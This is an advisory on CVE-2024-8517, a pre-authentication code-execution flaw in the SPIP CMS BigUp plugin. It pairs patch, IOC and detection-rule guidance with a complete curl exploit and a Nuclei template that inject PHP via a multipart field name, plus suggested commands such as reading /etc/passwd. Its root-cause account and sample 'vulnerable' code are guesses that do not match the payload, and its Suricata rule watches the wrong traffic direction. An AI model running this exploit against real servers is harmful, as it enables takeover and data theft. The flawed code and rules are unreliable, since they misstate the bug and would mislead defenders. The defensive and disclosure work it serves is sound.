CVE-2024-8517

Executive Summary

CVE-2024-8517 is a critical pre-authentication remote code execution (RCE) vulnerability in the SPIP content management system, affecting versions prior to 4.3.2, 4.2.16, and 4.1.18. The flaw resides in the BigUp plugin's file upload functionality, where a crafted multipart HTTP request allows an unauthenticated attacker to inject arbitrary operating system commands. With a CVSS score of 9.8, this vulnerability enables complete server compromise, including data exfiltration, lateral movement, and full control of the SPIP installation. Public proof-of-concept (PoC) code and a Nuclei template are available, increasing the risk of widespread exploitation.

Supply Chain & Package Security

SPIP is a PHP-based CMS distributed via its official website and package repositories. The vulnerability is introduced through the core BigUp plugin, which is bundled with SPIP installations. No third-party package manager (e.g., NPM, PyPI) is involved, but the risk is elevated due to the lack of a patch for older unsupported versions. Organizations using SPIP should verify their version and apply the update immediately.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – unauthenticated.
• User Interaction: None (UI:N) – no user action needed.
• Scope: Unchanged (S:U) – vulnerability affects only the vulnerable component.
• Confidentiality Impact: High (C:H) – full data access.
• Integrity Impact: High (I:H) – arbitrary command execution.
• Availability Impact: High (A:H) – potential denial of service or system takeover.

Threat Level: Critical. The vulnerability is trivial to exploit, has public PoC, and affects a widely used CMS.

Deep Dive & Mechanics

The vulnerability is a command injection in the BigUp plugin's file upload handler. SPIP's spip_pass page (password recovery) includes a file upload mechanism that processes multipart form data. The flaw occurs when the bigup_retrouver_fichiers parameter is set, and the plugin attempts to handle uploaded files. The attacker can inject operating system commands via the filename parameter in the multipart request.

Root Cause: The RCE['.system('id').die().'] filename is not sanitized before being passed to a system call (likely exec(), system(), or popen()). The injected PHP code is executed in the context of the web server.

Attack Flow:

1. The attacker sends a GET request to /spip.php?page=spip_pass&lang=fr to retrieve a CSRF token (formulaire_action_args).
2. The attacker sends a POST request with multipart data, including the CSRF token, the bigup_retrouver_fichiers parameter, and a file with a malicious filename containing the command.
3. The server processes the upload and executes the injected command, returning the output in the HTTP response.

Example Payload (from Nuclei template):

Content-Disposition: form-data; name="RCE['.system('id').die().']"; filename="test.txt"

This results in the execution of system('id') on the server.

Vulnerable vs. Patched Code

Vulnerable Code (SPIP < 4.3.2): The BigUp plugin's file upload handler does not sanitize the name attribute of the file input field. The vulnerable code likely resembles:

// Vulnerable: directly uses the name parameter in a system call
$filename = $_FILES['file']['name'];
system("some_command " . $filename);

Patched Code (SPIP 4.3.2): The patch introduces input validation and sanitization, likely using escapeshellarg() or similar functions to prevent command injection:

// Patched: sanitizes the filename before use
$filename = escapeshellarg($_FILES['file']['name']);
system("some_command " . $filename);

Additionally, the patch restricts the name parameter to alphanumeric characters and underscores, preventing injection of special characters like quotes and parentheses.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A vulnerable SPIP instance (version < 4.3.2, < 4.2.16, < 4.1.18).
• Network access to the target.

Exploitation Steps:

1. Reconnaissance: Identify SPIP version via HTTP headers (e.g., X-Spip-Cache) or favicon hash (-1224668706).
2. Extract CSRF Token: Send a GET request to /spip.php?page=spip_pass&lang=fr and extract the formulaire_action_args value.
3. Craft Exploit: Use the Nuclei template or a custom script to send the malicious multipart POST request.
4. Execute Commands: Replace id with any command (e.g., whoami, ls, cat /etc/passwd).

Example using cURL:

# Step 1: Get CSRF token
TOKEN=$(curl -s "http://target/spip.php?page=spip_pass&lang=fr" | grep -oP 'name="formulaire_action_args"\s*value="\K[^"]+')

# Step 2: Execute command
curl -X POST "http://target/spip.php?page=spip_pass&lang=fr" \
  -H "Content-Type: multipart/form-data; boundary=5f02b65945d644d6a32847ab130e9586" \
  --data-binary @- <<EOF
--5f02b65945d644d6a32847ab130e9586
Content-Disposition: form-data; name="page"

spip_pass
--5f02b65945d644d6a32847ab130e9586
Content-Disposition: form-data; name="lang"

fr
--5f02b65945d644d6a32847ab130e9586
Content-Disposition: form-data; name="formulaire_action"

oubli
--5f02b65945d644d6a32847ab130e9586
Content-Disposition: form-data; name="formulaire_action_args"

$TOKEN
--5f02b65945d644d6a32847ab130e9586
Content-Disposition: form-data; name="formulaire_action_sign"


--5f02b65945d644d6a32847ab130e9586
Content-Disposition: form-data; name="oubli"

test@example.com
--5f02b65945d644d6a32847ab130e9586
Content-Disposition: form-data; name="nobot"


--5f02b65945d644d6a32847ab130e9586
Content-Disposition: form-data; name="bigup_retrouver_fichiers"

a
--5f02b65945d644d6a32847ab130e9586
Content-Disposition: form-data; name="RCE['.system('id').die().']"; filename="test.txt"
Content-Type: text/plain

test
--5f02b65945d644d6a32847ab130e9586--
EOF

Expected Output: The response body will contain the output of the id command (e.g., uid=33(www-data) gid=33(www-data)).

Blue Team (Detection & Defense)

Detection:

• Monitor HTTP requests to /spip.php?page=spip_pass with multipart content.
• Look for suspicious filename parameters containing system, exec, shell_exec, or PHP code.
• Alert on unusual bigup_retrouver_fichiers parameter usage.

Defense:

• Immediately patch to SPIP 4.3.2, 4.2.16, or 4.1.18.
• Implement a Web Application Firewall (WAF) rule to block requests with RCE[ in the filename.
• Restrict outbound traffic from the web server to prevent command-and-control (C2) communication.
• Enable logging of all file upload attempts and review for anomalies.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /spip.php?page=spip_pass with multipart data containing bigup_retrouver_fichiers.
  • Filename parameters containing RCE[, system(, exec(, or shell_exec(.
  • Response bodies containing command output (e.g., uid=, gid=, www-data).

• File System IOCs:

  • Unexpected files in the SPIP upload directory (e.g., /tmp/, /spip/tmp/).
  • Modified SPIP core files (e.g., ecrire/inc/).

• Process IOCs:

  • Web server processes spawning shell commands (e.g., sh -c, bash -c).

Detection Engineering

YARA Rule

rule CVE_2024_8517_SPIP_RCE {
    meta:
        description = "Detects SPIP CVE-2024-8517 command injection attempts in HTTP requests"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-8517"
        severity = "critical"
    strings:
        $s1 = "bigup_retrouver_fichiers" ascii nocase
        $s2 = "RCE[" ascii
        $s3 = "system(" ascii
        $s4 = "exec(" ascii
        $s5 = "shell_exec(" ascii
        $s6 = "passthru(" ascii
        $s7 = "spip_pass" ascii nocase
    condition:
        all of ($s1, $s7) and any of ($s2, $s3, $s4, $s5, $s6)
}

Sigma Rule

title: SPIP CVE-2024-8517 Command Injection Attempt
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests targeting SPIP password recovery page with malicious file upload parameters.
author: Valters IT
date: 2024-10-27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-8517
    - https://blog.spip.net/Mise-a-jour-critique-de-securite-sortie-de-SPIP-4-3-2-SPIP-4-2-16-SPIP-4-1-18.html
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'page=spip_pass'
        cs-uri-query|contains: 'lang=fr'
        sc-status: 200
    keywords:
        - 'bigup_retrouver_fichiers'
        - 'RCE['
        - 'system('
        - 'exec('
    condition: selection and keywords
falsepositives:
    - Legitimate password recovery attempts (rare)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"SPIP CVE-2024-8517 Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/spip.php"; http_uri;
    content:"page=spip_pass"; http_uri;
    content:"bigup_retrouver_fichiers"; http_client_body;
    content:"RCE["; http_client_body;
    pcre:"/RCE\[.*system\(/i";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    reference:cve,2024-8517;
    priority:1;
)

Nuclei Template (Provided)

id: CVE-2024-8517

info:
  name: SPIP BigUp Plugin - Remote Code Execution
  author: DhiyaneshDk
  severity: critical
  description: |
    SPIP before 4.3.2, 4.2.16, and 4.1.18 is vulnerable to a command injection issue. A remote and unauthenticated attacker can execute arbitrary operating system commands by sending a crafted multipart file upload HTTP request.
  impact: |
    Unauthenticated attackers can execute arbitrary operating system commands through crafted multipart file upload requests, achieving complete server compromise and full control of the SPIP installation.
  remediation: |
    Update SPIP to version 4.3.2, 4.2.16, or 4.1.18 or later to address the command injection vulnerability in the BigUp plugin.
  reference:
    - https://blog.spip.net/Mise-a-jour-critique-de-securite-sortie-de-SPIP-4-3-2-SPIP-4-2-16-SPIP-4-1-18.html
    - https://thinkloveshare.com/hacking/spip_preauth_rce_2024_part_2_a_big_upload/
    - https://vulncheck.com/advisories/spip-upload-rce
    - https://github.com/fkie-cad/nvd-json-data-feeds
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-8517
    cwe-id: CWE-646
    epss-score: 0.93228
    epss-percentile: 0.99806
  metadata:
    verified: true
    max-request: 2
    shodan-query: http.favicon.hash:-1224668706
    fofa-query: "X-Spip-Cache"
  tags: cve,cve2024,intrusive,spip,rce,vuln

flow: http(1) && http(2)

variables:
  email: "{{randstr}}@{{rand_base(5)}}.com"
  string: "{{randstr}}"
  filename: "{{to_lower(rand_text_alpha(5))}}"

http:
  - raw:
      - |
        GET /spip.ph%70?pag%65=spip_pass&lang=fr HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'formulaire_action_args'
          - 'spip'
        condition: and
        internal: true

    extractors:
      - type: regex
        part: body
        group: 1
        name: formulaire
        regex:
          - name=['"]formulaire_action_args['"]\s*type=['"]hidden['"]\s*value=['"]([^'"]+)['"]
        internal: true

  - raw:
      - |
        POST /spip.ph%70?pag%65=spip_pass&lang=fr HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=5f02b65945d644d6a32847ab130e9586

        --5f02b65945d644d6a32847ab130e9586
        Content-Disposition: form-data; name="page"

        spip_pass
        --5f02b65945d644d6a32847ab130e9586
        Content-Disposition: form-data; name="lang"

        fr
        --5f02b65945d644d6a32847ab130e9586
        Content-Disposition: form-data; name="formulaire_action"

        oubli
        --5f02b65945d644d6a32847ab130e9586
        Content-Disposition: form-data; name="formulaire_action_args"

        {{formulaire}}
        --5f02b65945d644d6a32847ab130e9586
        Content-Disposition: form-data; name="formulaire_action_sign"


        --5f02b65945d644d6a32847ab130e9586
        Content-Disposition: form-data; name="oubli"

        {{email}}
        --5f02b65945d644d6a32847ab130e9586
        Content-Disposition: form-data; name="nobot"


        --5f02b65945d644d6a32847ab130e9586
        Content-Disposition: form-data; name="bigup_retrouver_fichiers"

        a
        --5f02b65945d644d6a32847ab130e9586
        Content-Disposition: form-data; name="RCE['.system('id').die().']"; filename="{{filename}}.txt"
        Content-Type: text/plain

        {{string}}
        --5f02b65945d644d6a32847ab130e9586--

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "uid=[0-9]+.*gid=[0-9]+.*"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502204859e4bebd94c4da5c94116138916ab6438cb53278cc2e5b5e2f618ce630553502210099bd219d51f111b31b16f2f6967606b607d525a76200cab7fdbffc16adad3756:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade SPIP to version 4.3.2, 4.2.16, or 4.1.18 immediately. Download from the official SPIP website.
2. WAF Rules: Block requests containing RCE[ in multipart filenames.
3. Disable BigUp Plugin: If patching is not possible, disable the BigUp plugin by removing or renaming the bigup directory in ecrire/plugins/.

Long-Term Mitigations:

• Implement input validation for all file upload parameters.
• Use escapeshellarg() or escapeshellcmd() for any user input passed to system commands.
• Regularly update SPIP and all plugins.
• Monitor logs for exploitation attempts (see Detection Engineering).

Compromise Assessment:

• Check for unexpected files in /tmp/ and SPIP upload directories.
• Review web server logs for the IOCs listed above.
• Scan for backdoors using YARA rules.

Valters IT

{/* [Security Hash: 850E89502CC1FCE08F1761CB] */}